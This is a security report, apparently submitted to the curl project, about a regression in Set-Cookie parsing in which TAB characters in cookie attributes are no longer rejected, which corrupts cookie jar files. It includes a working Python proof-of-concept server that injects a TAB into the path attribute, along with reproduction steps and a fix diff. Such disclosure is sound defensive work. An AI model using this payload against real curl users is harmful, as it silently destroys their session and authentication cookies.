curl · Report #3641893
Cookie attribute TAB injection regression in Set-Cookie parsing
How it was found
Overview
| Component | lib/cookie.c — parse_cookie_header() |
| Type | Security regression (incomplete input validation) |
| CWE | CWE-20 Improper Input Validation |
| Severity | LOW (CVSS 3.1 estimated ~3.7, comparable to CVE-2022-35252) |
| Affected | curl 8.18.0 through current HEAD |
| Not affected | curl 8.17.0 and earlier |
| Regression of | bfe9b59be4 (2022-10-05) reported by Trail of Bits |
| Introduced by | a78a07d3a9 (2025-12-07) "cookie: cleanups and improvements" |
Description
The cookie parser in parse_cookie_header() iterates over all semicolon-separated name=value pairs in a Set-Cookie header. A TAB validation check that originally applied to every pair (including cookie attributes such as path= and domain=) was moved inside the first-pair conditional block during a refactoring commit. As a result, only the cookie name and value are validated for TAB characters; attribute values are no longer checked.
Because the Netscape cookie file format uses TAB (0x09) as its field delimiter, a TAB character embedded in an attribute value corrupts the cookie jar when written to disk. When the jar is subsequently read back, parse_netscape() counts more fields than the expected seven and silently discards the entry, causing permanent loss of the affected cookie.
Root Cause
Original fix (2022-10-05)
Commit bfe9b59be473c9cc96313dc618595d33d946761a, reported by Trail of Bits, placed the TAB check immediately after the attribute value was parsed — before the code determines whether the current pair is the cookie name/value or a subsequent attribute:
// Applies to ALL pairs: name/value, path=, domain=, etc.
vlen = strcspn(ptr, ";\r\n");
valuep = ptr;
...
/* Reject cookies with a TAB inside the value */
if(memchr(valuep, '\t', vlen)) {
infof(data, "cookie contains TAB, dropping");
return CERR_TAB;
}
...
if(!co->name) {
/* first pair handling */
Regression (2025-12-07)
Commit a78a07d3a9dc808a51f464d0dd297939e544e2a4 ("cookie: cleanups and improvements") restructured the parser. The commit message states:
"Validation checks (length, TAB, prefixes) moved into the first name/value pair block for better code organization"
After this change the TAB check only executes inside if(!curlx_strlen(&cookie[COOKIE_NAME])), which is the first-pair block:
if(!curlx_str_single(&ptr, '=')) {
sep = TRUE;
if(!curlx_str_cspn(&ptr, &val, ";\r\n"))
curlx_str_trimblanks(&val);
// TAB check REMOVED from here
}
if(!curlx_strlen(&cookie[COOKIE_NAME])) {
// TAB check MOVED here — only runs for the cookie name/value
...
if(curlx_strlen(&val) &&
memchr(curlx_str(&val), '\t', curlx_strlen(&val))) {
infof(data, "cookie contains TAB, dropping");
return CURLE_OK;
}
...
cookie[COOKIE_NAME] = name;
cookie[COOKIE_VALUE] = val;
}
else if(curlx_str_casecompare(&name, "path")) {
cookie[COOKIE_PATH] = val; // TAB in val reaches co->path
}
The attribute value parser at line 462 uses ";\r\n" as delimiters — TAB is not a delimiter for attribute values. A TAB in path=/app\x09... passes through into cookie[COOKIE_PATH], then into co->path via sanitize_cookie_path() (which does not filter TABs), and finally into the Netscape cookie file via get_netscape_format() (which uses \t as the field separator).
Proof of Concept
Requirements
- curl 8.18.0 or later (source build)
- Python 3
Server (poc.py)
import socket
# Initialize the server socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('127.0.0.1', 8009))
sock.listen(1)
print("[*] Listening on 127.0.0.1:8009")
while True:
conn, _ = sock.accept()
req = conn.recv(4096).decode('utf-8', errors='replace')
# Path to set the cookie
if '/set' in req:
print("[+] Sending malicious Set-Cookie with real TAB byte")
# Build the response in BYTES to ensure the TAB (\x09) is literal
r = b"HTTP/1.1 200 OK\r\n"
r += b"Content-Length: 2\r\n"
# We add 'expires' to force curl to write it into the jar.txt file
r += b"Set-Cookie: session=abc123; expires=Fri, 01 Jan 2027 00:00:00 GMT; path=/app"
r += b"\x09injected" # The injected raw TAB byte
r += b"\r\n\r\nOK"
conn.sendall(r)
# Path to check if the cookie is sent back
elif '/check' in req:
if 'Cookie:' in req:
print("[+] COOKIE RECEIVED")
body = "Cookie received"
else:
print("[!] NO COOKIE - Corruption confirmed")
body = "No cookie received - LOST"
resp = f"HTTP/1.1 200 OK\r\nContent-Length: {len(body)}\r\n\r\n{body}".encode()
conn.sendall(resp)
conn.close()
{F5650793}
Reproduction
Terminal 1:
$ python3 poc.py
Terminal 2:
$ git checkout curl-8_18_0
{F5650803}
$ cmake -B build && cmake --build build -j$(nproc)
$ rm -f /tmp/jar.txt ( if you already have one )
$ ./build/src/curl -v -c /tmp/jar.txt http://127.0.0.1:8009/set
{F5650812}
$ cat /tmp/jar.txt
{F5650815}
$ ./build/src/curl -b /tmp/jar.txt http://127.0.0.1:8009/check
{F5650818}
Expected output
Step 1 — curl accepts the cookie (TAB in path is not rejected):
Added cookie session="abc123" for domain 127.0.0.1,
path /app injected, expire 0
Step 2 — cookie jar is corrupted (8 fields instead of 7):
127.0.0.1 FALSE /app injected FALSE 0 session abc123
Step 3 — re-read fails, cookie is lost:
No cookie - LOST
Control test (curl 8.17.0 — not vulnerable)
$ git checkout curl-8_17_0
$ cmake -B build && cmake --build build -j$(nproc)
$ ./build/src/curl -v -c /tmp/jar.txt http://127.0.0.1:8009/set
* cookie contains TAB, dropping <-- correctly rejected
Verified on
curl 8.18.0-DEV (Linux) libcurl/8.18.0-DEV OpenSSL/3.0.13
on Kali Linux — VULNERABLE
curl 8.17.0-DEV (Linux) libcurl/8.17.0-DEV OpenSSL/3.0.13
on Kali Linux — NOT VULNERABLE
curl 8.5.0 (x86_64-pc-linux-gnu) libcurl/8.5.0 OpenSSL/3.0.13
Ubuntu 24.04 system curl — NOT VULNERABLE
Impact
-
Cookie jar file corruption. A malicious HTTP server can send a Set-Cookie header with a TAB in the path attribute. The resulting cookie jar entry violates the Netscape format specification.
-
Persistent cookie loss. When the corrupted jar is read back (via
curl -b,CURLOPT_COOKIEFILE, or any libcurl application that persists cookies), the entry is silently discarded because the field count does not equal seven. The cookie is permanently lost without any error or warning to the user. -
Selective denial of service. An attacker can target specific cookies for destruction by responding with a same-name cookie that includes a TAB-injected path attribute. The legitimate cookie is overwritten in memory, then corrupted on disk, and finally lost on re-read.
-
Not possible: Cross-domain cookie injection. The
parse_netscape()field-count check (fields != 7) prevents the corrupted entry from being loaded with shifted fields, so an attacker cannot redirect a cookie to a different domain through this bug.
Suggested Fix
Move the TAB check back to its original position, outside the first-pair block, so it runs for every name=value pair including attributes:
--- a/lib/cookie.c
+++ b/lib/cookie.c
@@ -459,8 +459,15 @@
if(!curlx_str_single(&ptr, '=')) {
sep = TRUE;
- if(!curlx_str_cspn(&ptr, &val, ";\r\n"))
+ if(!curlx_str_cspn(&ptr, &val, ";\r\n")) {
curlx_str_trimblanks(&val);
+
+ /* Reject cookies with a TAB in any value (name, path, domain).
+ TABs corrupt the Netscape cookie jar format. */
+ if(curlx_strlen(&val) &&
+ memchr(curlx_str(&val), '\t', curlx_strlen(&val))) {
+ infof(data, "cookie contains TAB, dropping");
+ return CURLE_OK;
+ }
+ }
}
if(!curlx_strlen(&cookie[COOKIE_NAME])) {
- ...
- /* Reject cookies with a TAB inside the value */
- if(curlx_strlen(&val) &&
- memchr(curlx_str(&val), '\t', curlx_strlen(&val))) {
- infof(data, "cookie contains TAB, dropping");
- return CURLE_OK;
- }
Timeline
| Date | Event |
|---|---|
| 2022-10-05 | Original TAB fix committed (bfe9b59be4, Trail of Bits) |
| 2025-12-07 | Regression introduced (a78a07d3a9, refactoring) |
| 2026-01-22 | curl 8.18.0 released (first vulnerable release) |
References
- Original fix:
bfe9b59be4 - Trail of Bits report: https://curl.se/mail/lib-2022-10/0032.html
- Issue: https://github.com/curl/curl/issues/9659
- Regression commit:
a78a07d3a9 - Comparable CVE: CVE-2022-35252 (CVSS 3.7)
Impact
Summary:
A malicious HTTP server can inject a TAB character (0x09) into the path attribute of a Set-Cookie response header. Because curl 8.18.0+ no longer validates TAB characters in cookie attribute values (regression of fix bfe9b59be4), the TAB is accepted and stored in memory.
When the cookie jar is written to disk in Netscape format, the embedded TAB acts as a field separator, corrupting the line structure (producing 8+ fields instead of the expected 7). On subsequent re-read of the cookie jar, parse_netscape() rejects the malformed entry, causing silent and permanent loss of the affected cookie.
An attacker can exploit this to:
- Destroy specific cookies by responding with a same-name cookie containing a TAB-injected path, overwriting the legitimate cookie in memory and corrupting it on disk.
- Disrupt session persistence in any application that uses cookie jar files (
curl -c/-b,CURLOPT_COOKIEJAR/CURLOPT_COOKIEFILE), causing authentication tokens or session cookies to silently disappear between curl invocations. - Corrupt the cookie jar file on disk, violating the Netscape format specification. Other tools that consume the same cookie jar file may also be affected by the malformed entries.
The attack requires no user interaction beyond the victim making an HTTP request to the attacker-controlled server while using a persistent cookie jar.
Note: Cross-domain cookie injection is not possible through this bug — the field-count validation in
parse_netscape()prevents corrupted entries from being loaded with shifted field values.